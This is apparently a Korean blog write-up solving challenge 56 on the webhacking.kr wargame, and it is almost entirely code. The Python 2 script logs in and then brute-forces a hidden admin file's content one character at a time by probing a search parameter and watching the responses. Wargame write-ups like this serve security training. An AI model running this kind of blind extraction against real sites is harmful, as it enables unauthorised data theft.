Wargame

webhacking.kr 56번 문제 풀이

binaryU 2013. 3. 4. 01:12

import urllib,urllib2,ClientCookie

params = urllib.urlencode({'id':"ID",
                           'pw':"PW"})

request = urllib2.Request("http://webhacking.kr/index.html", params)
response = ClientCookie.urlopen(request)
data = response.read()

pos = data.find("<!-- http://webhacking.kr/blog.php -->")

ch = ['/', '.', '0', '2', 'a', 'c', 'e', 'f', 'g', 'h', 'l', 'p', 'r', 't', 'w']

#0 2 a c e f g h l p r t w

answer = "w"

#<a href=?read=admin>readme

if pos > 0:
    print "Login Failed"
else:
    print "Login Success"
    for k in range(0, 32):
        for i in range(0, 14):
            paramsProblem = urllib.urlencode({'search':answer+ch[i]})
            print answer+ch[i]
            requestProblem = urllib2.Request("http://webhacking.kr/challenge/web/web-33/index.php", paramsProblem)
            responseProblem = ClientCookie.urlopen(requestProblem)
            dataProblem = responseProblem.read()
            posProblem = dataProblem.find("read=admin")
            if posProblem > 0:
                print ch[i]
                answer += ch[i]
                break
            else:
                print "trying : ", ch[i]
print answer

 

첨부파일을 C:\Python27\Lib\site-packages에 풀어 넣는다.

clientcookie.zip